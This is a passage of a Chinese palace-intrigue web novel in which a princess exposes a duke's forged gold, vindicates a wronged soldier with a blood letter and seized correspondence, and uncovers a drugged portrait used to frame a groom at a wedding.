得知乔楹的金子货源是从权家定的,他便传了权晏舟上门,询问他乔楹月挣钱的诀窍,他打算照着去挣钱。 得知挣钱的诀窍是因为那个金匠,他便惦记上了乔楹月的金匠,派了人时刻关注乔楹月。 今早下人禀报了颜倾柔的事儿后,他利用自己敏锐的生意头脑嗅到了机会,于是立刻将权晏舟叫到面前,同他确认金匠的实力。 这会儿从权晏舟口中得到了肯定的答案,他丝毫没有怀疑,甚至有些激动。 做了这么多年的赔本买卖,终于到了他挣钱的时候! 赵迁儒欣慰的拍拍权晏舟的肩膀,“你的功劳本国公放在心里了,日后本国公挣了银子,定不会亏待你!” 赵迁儒大步向前,意气风发的进了宫。 天和殿,内殿。 乔景琰正在思考赵皇太后的话,便听得谢烬弦禀报。 “皇上,平国公求见。” 这可节骨眼求见,所为之事肯定和眼下之事有关。 乔景琰疲惫开口:“让国公进来。” “是。” 不一会儿赵迁儒走入内殿,恭敬的朝着乔景琰行礼。 “臣参见皇上!” “平国公平身,”赵迁儒起身以后,乔景琰沉声问道:“平国公为何事求见?” 赵迁儒一脸惆怅的叹气:“臣是为了怀宁公主而来,皇上应当知道怀宁公主开了一家金铺,说起来皇亲国戚做生意也没什么稀奇,但大家到底顾忌百姓,因此所卖之物要么符合市场价,要么比市场价还要低。 可这怀宁公主倒好,铺子里头的金价比别的金铺高出快一倍! 如此行为实在黑心。那些百姓的血汗钱全都进了她的腰包,她揣着这些银子不仅不拿出一些为大周奉献,反而残害忠良。 臣要谴责怀宁公主的行为! 皇上!臣恳请皇上,关掉怀宁公主的金铺,责令她返还百姓的血汗钱!” 这番话乍一听还真有些大义凛然的味道。 可实际上却只是披着仁义道德的皮囊,行着偷鸡摸狗的丑事。 赵迁儒想让乔楹月的金铺黄掉,他在趁机挖走金匠。 如此,就轮到他来搜刮民脂民膏! 乔景琰本就不喜皇族之人与商人沾染,却也知道,依旧有人暗中经商,只要别闹的太过,他都睁一只眼闭一只眼。 如今赵迁儒将乔楹月经商的事儿捅到了他的面前,他就算有心包容也必须有所表态。 沉吟片刻后,乔景琰吩咐谢烬弦。 “去公主府,将怀宁公主请来。” “是。” 一炷香后,乔楹月站在了赵迁儒的身边。 还在公主府时她便听说了颜倾柔状告自己的事儿,她有的是法子应对,因此并不担心。 谢烬弦来请时,她便猜测是为了颜倾柔。 进宫后看见还有个赵迁儒,她稍微动了动脑子,便明白其中了赵迁儒的花花肠子。 “臣妹参见皇兄,皇孙女参见皇祖母。” 行礼后,她主动跟赵迁儒打起了招呼。 “平国公竟也在此,好巧呢,不知平国公前来见皇兄所为何事?” 赵迁儒冷哼:“本国公前来向皇上禀报着盛京城内的恶行!” “平国公细说说?” “既然公主让本国公说,本国公便说了!公主的金铺价格高昂,此举违背了道德伦常,本国公希望公主认清错误,早日将金福来关闭,还盛京一个干净的环境!” 乔楹月挑眉:“听说平国公也开过金铺,因为金价太贵,手艺不精,还卖假金,最终铺子黄了。 本宫以为像平国公这种毫无道德之人应该待在家里闭门不出,倒也是本宫想得太好,平国公的脸皮是比铁还要硬。” 赵迁儒没想到乔楹月竟敢当众揭自己的短,他好歹算是她的长辈,简直毫无尊老爱幼之心! “乔楹月!你别欺人太甚!” 乔楹月冷笑,从袖中拿出一个荷包,双手放在了乔景琰的面前。 “皇兄,这荷包里头的金镯正是平国公的金铺所买,皇兄看看镯子内圈的刻印,便能明白臣妹的良苦用心!” 乔景琰脸色严肃的从荷包中取出镯子,竖起来看向内圈,顿了一会儿,随后勃然大怒。 “赵迁儒,你胆大包天!” 沉重的金镯被掷到赵迁儒脸上,砸断了鼻梁,两个鼻孔疯狂淌血。 他不敢出声,只敢用袖子捂住鼻子,低着头不敢说话。 赵皇太后心疼不已,正要质问皇上此举为何,便听到乔楹月说话。 “赵皇太后怕是还不知道,当初平国公献给太后的镯子,其实是平国公自己的金铺伪造的,那符咒也是平国公塞进去的。” 第一百二十五章一对蠢货 赵皇太后怀疑乔楹月诬陷,但当看见赵迁儒低眉垂眼的心虚样儿后,立刻明白他半点没有被冤枉。 一时间,她不知是该生气,还是该委屈。 这个蠢弟弟,成事不足败事有余! 可赵皇太后很清楚,即便这桩蠢事是自己的弟弟所为,她也不能允许乔楹月在自己面前耀武扬威。 她必须打压这个小丫头! “赵迁儒,你告诉哀家,那镯子是不是底下人瞒着你伪造的?” 听出姐姐在帮自己,赵迁儒连忙点头:“对,正是如此!” 赵皇太后又问:“符咒的事儿,你可知道?” 赵迁儒连忙摇头:“臣半点不知!” 赵皇太后一脸委屈的看向乔景琰。 “无论如何,都是哀家这弟弟犯了蠢,皇上看在哀家的面子上轻些罚吧。” 当初赵皇太后是从一众皇子之中,挑了最没有能力的乔景琰,乔景琰是跟在赵皇太后身边以后才能吃饱穿暖,才不受人白眼。 这份恩情让乔景琰始终对赵皇太后存着尊敬之心。 这会儿赵皇太后让他看她的面子,他当然不能真的处罚。 乔景琰缓缓开口:“平国公并非有心,这次便算了。” 赵皇太后很满意这个结果,得意的撇向乔楹月。 “怀宁公主可还有想说的?” 这话的另外一层意思是,乔楹月,你能奈我何? 乔楹月本就没打算让赵迁儒真的受罚,这份挑衅对她无用。 但这次若不给赵皇太后一个下马威,往后她定会处处寻她的麻烦。 “皇孙女恰好还有一句话想说,颜倾柔所犯之事证据确凿,皇孙女陷害她是子虚乌有,她此举明显是利用百姓的无知挑拨君臣的关系。 此心险恶,罪该万死。 而平国公早不进宫晚不进宫,偏偏赶在颜倾柔闹事时进宫,本宫很难不去怀疑平国公和颜倾柔之间有勾结。” 赵皇太后心中一惊,怒道:“乔楹月,你休要胡说!” 乔楹月眨巴眼睛,一脸无辜:“自古以来外戚干政是大忌,平国公能力不济揽权不成便搅动君臣关系,如此一来,倒也能解释今日之事。” 此言一出,乔景琰的脸色明显变了。 赵皇太后的心快要吓掉。 乔景琰对她这个养母再是尊敬,也绝对不会允许自己权威受到威胁。 即便乔楹月故意诬陷,在乔景琰看来,事儿也确实太过巧合,不得不怀疑。 赵皇太后当机立断的表态。 “怀宁公主此言倒是提醒了哀家,这个颜倾柔行为不端作恶多端,定是她故意算计平国公,哀家绝对不会允许此事发生! 哀家请求皇上狠狠惩罚颜倾柔!” 乔景琰眼底的冷肃却并未因此散去,他静默片刻,沉声交代乔楹月。 “颜倾柔闹事背后必有人在推波助澜,怀宁,朕便将这件事儿交给你,你代朕查明此事!” 此话无疑是告诉赵皇太后,比起她这个养母,乔景琰更信任乔楹月这个妹妹。 赵皇太后的脸色奇差无比,离开天和殿后,她忍不住朝着赵迁儒的屁股踹了一脚。 “哀家真是得了个好弟弟!” 赵迁儒又尴尬又恼火,暗暗恨上了乔楹月。 这厢,乔楹月走出皇宫,便见宫门外依旧聚集着百姓。 撞墙昏迷的颜倾柔这会儿醒了过来,不过看样子身子十分不适,依旧躺在地上。 张嫣儿跪坐在她身边,心疼的将她的头抱到腿上,哭着朝围观的百姓诉说。 “颜家世代忠良,可自从得罪了怀宁公主,便一个一个落得不好的下场。 我的妹妹本事护国长公主,却被贬为庶人。 我的丈夫本是抗敌英雄,却被斩首。 就连我! 我跟着丈夫在卞城一过就是五年,那儿条件艰苦,我苦苦扛着,好不容易熬过了所有的苦,过上了好一点的生活。 却一夜之间成为寡妇,带着年幼的女儿住进了北城的破房子里头。 我颜家命苦啊!!!” 颜倾柔哭着抓住张嫣儿的袖子,“嫂子别说了,这天下都是乔家的,我们这些平头老百姓根本没有说话的地儿,我怕再说下去,我们都得死。” 在场的都是平头老百姓,此言一出,这些人立刻共鸣起来。 不过这些人也不傻,如今盛京都传乔楹月惩奸除恶,他们也知道了未知全貌不予置评。 于是这些人压抑怒火,等待着乔楹月出面给个说法。 乔楹月进宫时这些人都瞧见了,这会儿大家齐齐望着宫门,等着她出来。 不一会儿,乔楹月的身影从宫门中走了出来。 百姓们目光齐聚,眼神愤怒。 乔楹月走到众人面前,扫了一眼倒躺在地上的颜倾柔。 满脸血迹,模样十分可怜。 与她对上视线时,她的眼底浮现浓浓的恐惧,瑟瑟发抖的抱住张嫣儿,哭着请求她。 “嫂子,我们快走吧,我不想死!” 这般模样不得不让人怀疑,只要是得罪了乔楹月的人,最终都会惨死。 乔楹月冷笑。 “你若真的怕死,便不会闹这一通,颜倾柔,本宫若真是心狠手辣之人,你只怕早就成了一捧黄土。” 围观的百姓闻言皆觉得在理。 乔楹月继续道:“正好你找上门来,也正好大家都在,本宫便将一桩陈年旧案处理了。” 颜倾柔不明白她在说什么,眼神有些茫然。 乔楹月吩咐林酒。 “去,将向全请过来。” 林酒应是,转身离去。 半炷香后,向全一步步走过来。 人群自动分开一条道,他穿过人群,来到了乔楹月的面前。 “草民拜见公主!” “免礼,”乔楹月的目光落在他的身上时,锐利消失,温和极了,“你伸冤多年无果,如今仇人的女儿就在眼前,你便当众说出你的委屈来,在场的百姓自会为你做主。” 这些百姓们打眼一瞧,顿时有人认出了向全,不免嘀咕。 “他不是那个老疯子吗?莫不是他的胡言乱语被公主误信了吧?” “大家都知道他疯,倘若怀宁公主真的信他的疯话,定会成为盛京的笑话。” …… 向全不理会这些议论,他缓缓开口道出了自己的冤屈。 第一百二十六章证据确凿 “我是平州凉县人士,祖上靠武行讨生活,我儿名叫向定军,自小跟在我身边习武,对兵书十分有见解。 十五年前他参了军,仅三年时间,他便在军中崭露头角,靠自己的努力成为了千夫长。 对比盛京城的达官贵人而言,他的官职并不高,但在我这个父亲心中,他极有出息,是我的荣耀。 十二年前,东陵大军来犯,他跟随颜奉良抵抗东陵大军,因为东陵军势如破竹,而颜奉良错估局势,导致卞城陷入水火。 我儿带着士兵回城时被关在城门外,而颜奉良则带着家眷和亲卫从其他城门逃离。 敌军提前料到他的逃离方向,半途将之抓获。 我儿得知这个消息却并未放弃,带着人和敌军周旋,最终以一腔孤勇将敌将斩杀于脚下。 我儿抓住东陵放在军中历练的皇子,作为交换筹码,让东陵军撤退,并将被俘的颜奉良解救。 彼时颜奉良身受重伤,奄奄一息,我儿守在身边照顾,却还是无力回天,颜奉良死后,他的亲卫忽然将我儿扣下,不由分说将他关押。 不出三日,我儿被折磨而死,而卞城这一战最大的功臣成了颜奉良!” 说到此处,向全早已麻木的脸上忍不住露出愤恨。 “幸得我儿在军中有相熟之人,他将自己的遭遇写成血书,交给此人带出军中,交给了身在汴州城内的妻子。 我这儿媳千里迢迢来到凉县,将真相告知于我,我心痛难忍,当即背上行囊来到盛京为我儿伸冤。 可我无能! 十二年过去了,我儿依旧沉冤黄土!” 向全的声音落下以后,现场鸦雀无声。 百姓们看着这位父亲脸上流露出来的复杂情感,纷纷动容。 颜倾柔愤怒斥道:“胡说八道!你的话中处处是漏洞! 向定军不可能带着妻子参军!” 向全愤怒的盯着她:“她只是与我儿相识,我儿死后她与他的血书拜堂,成为了他的亡妻!” 和亡人拜堂,成亲即是寡妇。 该有多深的感情才能做出如此举动。 颜倾柔不懂这种情感,因此她认定向全所言皆是捏造。 “空口无凭,除非你将那女人找来,交出血书,否则便是血口喷人!” “那女子本宫已经寻来,”乔楹月冷冷看着颜倾柔,“血书也一并带来。” 在她的话音落下之际,一个盘发妇人穿过人群,走到了众人面前。 她身形消瘦,面容憔悴,但从眉眼中依旧能看出年轻时的标致。 和向定军相遇时她还是如花少女。 如今已是半老徐娘。 “民妇拜见公主。” “免礼!” 水韵直起身,被岁月欺负过的脸上透着历经沧桑的平静,她缓缓从袖子中拿出一块白布。 摊开来。 血迹斑斑。 “颜奉良决策失误,导致卞城失守,竟弃城逃跑,我奋力杀敌,救下卞城,救回颜奉良,他身死之际命人将我关入大牢,并伪造捷报抢我军功。 如今我已没有活路,我不愿颜家这样的败类为祸人间,颜奉良做的事儿只要在军中打听一番,知晓之人比比皆是。 水韵,你将这封血书交给我爹,我爹一定会帮我伸冤。 水韵,下辈子我娶你。” 念出最后一句话时,水韵平静的情绪终于崩溃,眼泪如断线珍珠般往下掉。 百姓们静默无声,同情的看着这个为了情郎老了容颜的女子。 颜倾柔气的站了起来,大声质问水韵。 “这种血书想要伪造轻松极了,这里可是盛京城,你以为这种小伎俩就能瞒天过海?” 水韵瞧着她半晌,忽然伸手甩了她两个巴掌。 这两个巴掌掷地有声,干脆利落。 颜倾柔捂着脸半晌才反应过来,反手想打回去,被乔楹月捏住了手腕,她重重甩开颜倾柔的手,冷声警告。 “手不想要的话,便动手试试。” 颜倾柔被她话中的寒意吓到,不敢放肆,咬牙说道:“这种血书不足以做为证据,公主若真的认为我颜家有罪,便要拿出更有力的证据!” “证据自然有,很多,很全面。”乔楹月看向水韵,“本宫在此,很安全,你放心大胆的取出证据。” 水韵用力点头,竟是当众脱下了自己的夹袄,用牙咬着撕开。 只见这夹袄里头竟然藏着好几封信。 她将信递给乔楹月,颤声说道:“这几封分别是颜奉良和亲卫勾结、和盛京的亲信串通的书信。 书信是颜奉良亲手所写,上头还盖有他的私章,旁人无法伪造。 这些书信是定军的兄弟悄悄得到,连同血书一起递给我,这十二年来我一直将之藏在衣裳中,随时准备着为定军伸冤!” 乔楹月仔细读了这些信,信中,颜奉良见利忘义,视人命如草芥,字字句句让人愤怒。 “看来颜崇业抢夺军功,残杀士兵的事儿是遗传呢,颜家从根上就是臭的,子孙便也是臭的!” 听出乔楹月在辱骂自己,颜倾柔羞辱难当,咬着牙说道:“这些信是否真实公主说了不算,得皇上亲自查看才算公正!” “本宫自然要将信交给皇兄查看,本宫会用大周的律法还英雄公道!谢大人,还请将这些信送到皇兄手中!” 谢烬弦清楚这件事儿非同小可,郑重的接了信,快步送往乔景琰面前。 一盏茶后,谢烬弦带着两道圣旨小跑回来。 他冷着脸当众宣读圣旨。 “奉天承运, 皇帝诏曰!颜奉良抢夺军功,残害忠良,罪恶滔天!今日起,颜家不在是大周烈士! 颜倾柔聚众闹事,诬陷怀宁公主,罪不容恕,当处以重刑,即日起关入大牢,永不得释放!以此警告后世!钦此!” 颜倾柔眼前一黑,当场昏死。 谢烬弦又拿出一道圣旨,面露微笑的朝着水韵和向全两人宣读。 “奉天承运,皇帝诏曰!向定军英勇无匹,乃大周男子典范,朕追封向定军为辅国公! 水韵有情有义,朕赐封她一品诰命夫人!钦此!” 向全激动流泪。 水韵无声流泪。 两人齐齐跪下接旨。 第一百二十七章沉冤得雪 牵扯颜奉良一案的一干人等全部获刑。 皇上直接将从前抄没的护国长公主府赐给了向全。 向全转手将宅子送给水韵。 他前来同乔楹月辞别。 “家中还有妻子等着草民,草民今日便启程回家。” 乔楹月派了林酒相送。 向全的事儿落下来尘埃,颜倾柔这边却还在牵扯。 颜倾柔当天就被送到了监牢。 说来也巧,送入的监牢正好是秦拂郁所在的那一处。 自从庄秋来过以后,秦拂郁便盼星星盼月亮的等着颜倾柔来接他离开。 当颜倾柔走进监牢的一瞬,他激动的站了起来,双手抱着牢门朝着她大喊。 “倾柔!我在这儿!” 颜倾柔低着头,没理睬他。 担心她改变主意不救自己出去,秦拂郁赶紧跟她套近乎。 “倾柔,我们好歹也是,也是叔嫂关系,你可不能过河拆桥啊。” 他想说的是一夜夫妻白日恩,但是这么多人在场,他怕颜倾柔直接翻脸走人。 眼看颜倾柔走到了自己的牢房前,他得意的冲狱卒吩咐。 “还不快些将我的牢门打开!” 这狱卒撇他一眼,没理睬他,打开他旁边的牢门,将颜倾柔丢了进去,锁上牢门转身离去。 直到狱卒走远了,秦拂郁才渐渐反应过来。 “你不是来救我,是你也被关进来了?” “是啊,我被关进来了,你很失望吗?” 颜倾柔抬起头看向他,脸上血淋淋,眼神阴狠怨怼,像地狱索命的恶鬼。 秦拂郁不明白。 “怎么回事儿?你堂哥可是抗敌英雄,皇上不看僧面也要看佛面,是不是你自己犯贱,激怒了皇上?” 认真来说,颜倾柔还真的自己犯贱将自己折腾进来了。 原本她可以住在北城的小破屋子里,人生还有无限的可能。 就是听了嫂子的提议,她一通折腾,为自己挣来了这么个结局。 后悔已经来不及,眼下她只觉得累。 很累。 似乎如何折腾,都逃不出乔楹月的手掌心。 她想不明白,原先自己局面大好,到底是哪一步出了错,竟落到了眼下的地步。 颜倾柔屋里的滑坐在地,抱着腿,任由秦拂郁如何说话,她都不在理会,只一个劲儿的发怔。 秦拂郁一肚子火,癫狂的捶打牢笼,试图冲过去颜倾柔问个清楚。 同牢的犯人早就被他吵的不耐烦,冷着脸警告他。 “这儿又不是只有你一个犯人,你能不能为别人考虑考虑?” 秦拂郁口不择言的斥骂:“都下大狱了,还考虑个鸡毛,老子要你们全都去死!” 这人火了,旁边被波及的人也火了,当即一拥而上,对着他拳打脚踢。 狱卒在外头眼睁睁看着,没有任何要阻止的意思。 这些人也怕真的闹出人命,发现秦拂郁不动以后便停了手。 见秦拂郁躺在地上,眼睛闭着,像是没了呼吸,这几人心中一慌。 其中一个战战兢兢去探鼻息,秦拂郁陡然睁开了眼。 “啊!” 这人吓的跌坐在地。 眼见秦拂郁默默从地上站起来,他当即臭骂。 “混账玩意儿,打不过就装死吓大家,等你好了老子继续打你!” 秦拂郁一言不发的抿着唇,不理会此人的威胁,而是仔仔细细的打量周围,像是第一次看见一般。 最后他的目光落在隔壁牢房的颜倾柔身上,眼神中的茫然慢慢消失,他看颜倾柔的目光不再愤怒,而是充满了冷厉。 “颜倾柔。” 颜倾柔这会儿终于有了反应,抬眼看过来,冷声问他:“怎么?你还想被打一顿?” 秦拂郁竟是轻笑起来,血肉模糊的一张脸透着不一样的沉着。 他压低声音对她道:“我有法子可以让我们一起出去。” 颜倾柔笑出声:“我看你是被打傻了!” “你难道不想赌一把?” 不得不说,秦拂郁大概是这世上最了解颜倾柔的人,他的一句话让颜倾柔的眼神松动。 见她看过来,秦拂郁沉稳笑着,朝她招手:“过来说话。” 颜倾柔抿着唇靠过来。 秦拂郁压低声音在她耳边说道:“你身上可有值钱之物,我需要往外递一封信。” 颜倾柔盯着他看了好一会儿,最终咬牙从衣裳里头拿出一小块碎金子,见秦拂郁伸手来拿,她往后躲了一下。 “不骗我?” “真不骗你。” 秦拂郁用这块碎金子递出一封信,接到信的,正是和紫苑见面的神秘人。 次日清晨,狱卒打开牢笼,放出了秦拂郁,恶声恶气的说道:“你也是赶上好时候了,东山匪徒猖獗,朝廷缺人手,皇上下令让犯人戴罪立功,若你能剿匪有功,说不定能走出这座监牢。” 秦拂郁回头,看见监牢之中还有许多人被放出来。 这些人都是身怀武功者。 看来是神秘人出手了。 “拂郁!一定要回来接我!” 颜倾柔趴在牢门上望着秦拂郁,眼神充满恳求。 秦拂郁冲她笑了笑,毫不犹豫的扭头离去。 看着男人走出大牢,身影陷入骄阳的光影之中,颜倾柔的心没来由的不安定。 这一次,他应该会兑现承诺将她救出去吧? 秦拂郁从大牢出来后,右手手腕被带了一个坚硬的铁锁。 这铁锁之上写了‘重刑犯’三个字。 狱卒提醒他:“这个锁的钥匙只有姬大人才有,秦拂郁,除非你逃到山里去,否则一辈子脱不开戴罪之身。” 秦拂郁出来是为了好好活着,怎么可能逃。 朝廷派了兵,将这些重刑犯全部送到了东山剿匪。 乔楹月得到了这个消息时直皱眉。 看来这又是秦拂郁的计谋。 不过也只是垂死挣扎罢了。 她没将秦拂郁放在心上,转头去了库房,挑了一件合适的贺礼,前往容府。 今日是容明月大婚的日子,新郎是盛京有名的才子,名叫楚怀,模样英俊,家世和容府不相上下,二人十分般配。 乔楹月到了容府,送上贺礼,不一会儿新郎来接亲。 容明月待在自己的闺房,新郎需要前往闺房,亲自将她牵出来。 原本气氛十分热闹,却因为新郎忽然不见而陷入了僵宁。 而此刻的后罩房中,楚怀站在屋中,容旖纾衣裳半湿的靠在他胸口。 “怀哥哥,今日可是你成亲的日子,你可真坏啊~” 第一百二十八章婚礼怪事 屋外传来几道脚步声,紧接着屋门被人从外面推来。 阳光照进来,楚怀忍不住眯眼,便听到混乱的尖叫声。 “啊!姑爷您在做什么!” 楚怀一怔,低头看向手中,他正拿着一副画像,画像上画的人…… “那是二小姐的画像,三姑爷接亲时忽然消失,如今找到时竟拿着二小姐的画像,三姑爷难道……暗中觊觎二小姐!” 下人的惊呼将容府的主子以及宾客全都引了过来。 容明月掀开红盖头冲入屋内,看见楚怀手中依然拿着庶姐的画像,当场哭了出来。 “楚怀!你觊觎我庶姐!” 她哭的更多是委屈。 是谁都好,为何偏偏是这个庶姐。 往后这庶姐在她面前不知道得意成什么样! 楚怀赶紧丢开画像,慌乱的上前扶住容明月的肩膀。 “明月,这一切都是误会,我没有做过对不起天地良心的事儿!” 容明月质问:“那你在这里做什么?” 楚怀却支支吾吾:“我、我想不起来。” 容明月用力甩开他的手,骂道:“你就是觊觎我庶姐,你跟她在这里私会!” 此言一出,周围想起一道道惊呼。 婚礼当日和自己的大姨子暗中相会,这是乱伦啊! 容太尉脸色阴沉如水,冲着容旖纾怒喝。 “容旖纾!你过来解释清楚!” 这会儿容旖纾早已吓得脸色惨白,她哭着冲容太尉摇头。 “爹,女儿绝对没有做过违背良心的事儿。” 容太尉一巴掌甩在她脸上,斥道:“还有脸哭?一个巴掌拍不响,若非你勾引,他怎会乱了分寸!” 容旖纾捂着通红的脸颊,哽咽道:“我和楚公子从未见过面,便是今日,我也从未单独见过他,爹若是不信大可以问柳小姐,我们一直在一起。” 那位柳小计赶紧出来作证。 “容伯父当真误会二小姐了,今日和二小姐在一起的不止我,还有其他几位小姐,我们都可以为二小姐作证!” 人群之中立刻走出来几位小姐,她们纷纷为容旖纾作证。 容太尉这才反应过来自己冤枉了女儿,看着女儿被自己打肿的脸,他心下愧疚不已。 这时那柳小姐在旁边为容旖纾鸣不平。 “二小姐虽是乡下长大,礼数规矩却比盛京养大的还要周到,二小姐的才情也好,美名远播,盛京之中爱慕二小姐的男人像那天上的繁星,数都数不清。 依我看,这位三姑爷怕是一直痴恋二小姐,就连娶三小姐也是抱着离二小姐近一些的肮脏心思。 他趁着接亲时悄悄离开,来到这后罩房,抱着二小姐的画像,不知道做了什么龌龊事。” 此言一出,立刻得到大家的赞同。 毕竟在大家心目中容旖纾的人品是有保证的,楚怀为她疯狂一点儿也不奇怪。 这位三小姐模样美则美矣,品性和气质都不及二小姐,楚怀在婚礼当日抛下她也不是什么稀奇事。 这事儿怪只能怪三小姐魅力不够,留不住男人。 宾客们交头接耳,议论纷纷。 这些声音落入唐毓秀耳中,将她气的不轻,别人以为容旖纾是个好东西,可只有她知道她是个贱蹄子! 今日之事肯定是她一手策划,目的就是让自己的女儿出丑,成为盛京笑柄! 唐毓秀忍着火对楚怀说道:“娘相信你肯定是无辜的,楚怀,你别着急,慢慢说清楚到底发生了什么。” 楚怀仔细回想。 先前他随着好友一同前往容明月的闺房接亲,闺房的门紧闭着,只能从窗户进入,他便从屋侧绕到后窗。 半路遇到了容旖纾,他不认识她,她主动告知身份,并友好的告知他进入容明月闺房的捷径,他便跟着她去了。 他跟着她进了一间屋子,然而屋子中发生了什么,容旖纾的画像为何在手中,这些他全都没有印象。 这会儿面对大家谴责的目光,楚怀很着急,却无从辩解。 “我真的什么都不记得,不过我可以对天发誓,我没有做过违背天地良心的事!” 他的表情十分诚恳,不禁叫人猜测这里头是否存在误会。 不过大家的猜测被一道哭声打断。 众人定睛看去,便见容府那位庶出二小姐捂着脸,哭得身子如花儿办乱颤,哽咽的声音更是可怜无比。 “都怪我,全都怪我,若非因为我,妹妹的婚礼不会弄成这样,我是个罪人! 爹,我没脸继续待在府中,您还是将我送回乡下去吧!” 容太尉看着女儿自责的模样,原本心里是有几分迁怒她,可这会儿他的心中只剩下怜悯。 优秀不是她的错,这件事怪只能怪她这亲手教导长大的女儿不够优秀。 今日他的老脸是被三女儿给丢光的! “明月,你姐姐因为你的事儿受了天大的委屈,这会儿要回去乡下了,这事儿是你对不起她,你好好向你姐姐赔罪,让她好安心留在府中。” 容明月不敢置信,怀疑自己听错了。 婚礼被破坏的事她。 最丢人的是她。 而现在父亲却让她来道歉。 还是给容旖纾这个罪魁祸首道歉。 “爹!您难道看不出来吗,今日的一切都是容旖纾的阴谋!” 这番话让容太尉彻底对这个三女儿失望。 眼下他已是丢人丢到家,不能让事情继续恶化下去,只有容明月道歉,才能稳住局面。 容太尉强势的命令容明月,“现在道歉!必须道歉!” 到了这一刻,容明月才彻底明白容旖纾做这一切的目的。 不单单只是毁掉她的婚礼,她还要毁掉她。 今日她若是向她道歉,往后便一辈子在她面前矮一截。 这个歉她不能道,大不了离开容府,远走他乡算了! “这歉我不会道的,我……” “明月别激动,本宫觉得你不该道歉。” 就在容明月快要说出意气之言时,一直没言语的乔楹月忽然出声。 众人的目光当即落在她身上,同时深深的皱起了眉头。 人家容家的家世,这位怀宁公主插手什么,而且这事儿明显就该容明月道歉,她的行为像根搅屎棍! 容太尉的脸色更是难看,顾及身份隐忍未发。 乔楹月不理会大家的目光,扭头问楚怀。 “将画像给本宫瞧瞧。” 第一百二十九章画像有诡 乔楹月仔细打量这画像,随后抬头对楚怀说道:“你仔细说说进容府以后都发生了什么。” 楚怀知道乔楹月的身份,成亲之前也好多次听见容明月称赞她是个好人,他知道乔楹月此番肯定是好意。 传言这位公主不仅心善,头脑还格外的聪明,或许真的能帮到他。 “进来容府以后我跟着喜婆来到明月的闺房前,容府的亲朋在堵门,我只能想办法从后窗进去。 我来到屋后时遇到了容二小姐,二小姐告诉我有一条进入明月闺房的捷径,她可以带我去。 我信以为真,跟着容二小姐却来到一间无人的屋子,随后……” 楚怀忽然难以启齿,但还是如实说了出来。 “容二小姐忽然碰掉了桌上的水盆,打湿了衣裳,她受到惊吓扭了脚,撞到我身上,还说让我抱她去榻上歇息。” 此言一出,宾客们倒抽冷气。 倘若事实当真如此,那这位容二小姐的人品肯定不像表面看起来那么高洁! 可事实真是如此吗? 而容明月和唐毓秀这对母女几乎是在瞬间,便相信了楚怀所言。 因为容旖纾本就是个不堪的小蹄子!这种事儿很符合她的作风! 容明月恨死了容旖纾,但比起对容旖纾的恨,她更加在意楚怀对容旖纾的态度。 “后来呢?” 容旖纾故意弄湿衣裳,又扭脚撞到他的身上,那楚怀有没有顺势与她发生什么呢? 容明月一瞬不瞬的盯着楚怀,便见他毫不犹豫的否认。 “我立刻推开了她!再后来发生了什么我是真的不记得了。” 容明月流泪道:“我信你。” 然而她刚说完这三个字,容旖纾便悲痛的跪了下去。 “爹,原本我不想争辩什么,但现在看到妹妹被坏人欺骗,我是在忍不住了! 我根本没有见过楚公子,更没有做过他所说难得这些事儿! 爹,这位楚公子满口谎言,绝非良人,您千万不能让妹妹嫁给这种人!” 这一番话正义凛然,活生生是一个长期被嫡女欺压的庶女,不计前嫌的为嫡妹着想。 在场的宾客全都被感动了,看向容明月的目光便格外的不满。 甚至连带唐毓秀这个素有贤惠之名的主母也有了微词。 若非这位主母纵容,容三小姐岂会养成如今这般卑劣的品性。 唐毓秀看见众人的目光后心里堵的慌,想争辩,又看见容旖纾跪在地上,那可怜兮兮的模样让她很清楚,她现在说什么都是错,说什么都会被外人戳脊梁骨。 可若任由事态继续下去,她这当家主母的位置岌岌可危,明月的声誉也会就此毁掉,将来怕是说不到好的亲事了。 在唐毓秀着急时,容旖纾又用那张楚楚可怜的脸火上浇油。 “今日这事儿往小了说是挑拨姐妹情深,往大了说是挑拨整个容府。 一个府宅一旦内讧,都不需要外人攻讦,自己便会慢慢败落。 爹,您三思!” 容明月最看不得她这幅虚伪样子,气极了骂道。 “你少在这儿装可怜!我知道这件事儿是你做的,你诬陷楚怀挑拨容府的关系,害容府败落,依我看,挑拨容府关系的人是你,害容府败落的也是你!” “明月,你睁开眼睛看看吧!这盛京爱慕的公子比他优秀的有的是,我能和你争吗?我是真的担心你啊!” “我呸!虚伪的狐狸精!坏人!” 容明月一脸怨恨,态度咄咄逼人,容旖纾满脸善良,态度委曲求全。 两相对比,孰对孰错,容太尉心中已经有了答案。 “明月,够了!平时爹纵着你便罢了,如今大庭广众你应该收起你的小姐脾气!你现在向你姐姐道歉!” 容明月气哭,“爹……” “道歉!” “老爷……” “你闭嘴!” 容明月见父亲态度坚决,下意识看向了乔楹月。 方才乔楹月一直在画像上细细查看,这会儿察觉到容明月的目光,便将画像朝容太尉递了过去。 “容太尉仔细闻闻这画像。” 容太尉眼下瞧着乔楹月这个‘搅屎棍’十分不爽,但碍着皇家颜面,还是接过来,敷衍的嗅了一下。 “正常的味道,怀宁公主有什么问题?” “容大人太敷衍了,您仔细闻闻。” 见她表情认真,容太尉便耐着性子仔细在画像上闻了几下,还真的闻到一点淡淡的怪味。 像是…… “药味儿,是不是?” 见容太尉面露思索,乔楹月精准的说了出来。 容太尉恍然点头:“正是药味儿!难道……”画像上被人下了药! 就是因为画像上被下药了,这药会让人失去当时的记忆,所以楚怀才会说不出个所以然来? 容太尉是个聪明人,这一刻立刻有了猜测。 若猜测属实,便证明今日是有人害他。 他必须查清凶手,还容府一个清白! “来人,去请府医来!” 不一会儿府医被请了过来。 容太尉将画像递过去。 “检查一下这画像上的药味是怎么回事!” 府医仔细查看起来。 容旖纾已经站了起来,看见太医的动作,脸色慢慢变白。 乔楹月唇角浮现冷笑。 不一会儿,府医大声禀报容太尉。 “回禀大人!这画像上被人下了一种迷药!这种迷药会让人短暂的失去神志,不过药效持续的时间不会太长,眼下这迷药已经失效了!” “迷药?”容明月一脸惊疑,立刻看向容旖纾,“肯定是你下的!” 这次容明月也学聪明了,她不等容旖纾说话,立刻问那位柳小姐。 “柳小姐确定一直跟她在一起?” 知道画像上有迷药,在场的宾客都明白其中有古怪,也都猜到楚怀估计真是被人给算计了。 柳小姐自然也想到这一点,顿时惊疑不定起来,听得容明月询问,她仔仔细细的回想,还真想起来了。 “好像中途她离开过一会儿。” 容明月不满意这个答案。 柳小姐立刻询问其他小姐,这些小姐纷纷点头。 “确实离开了一会儿,回来后衣裳便换了!” “换衣裳了?看来多半是她了!” …… 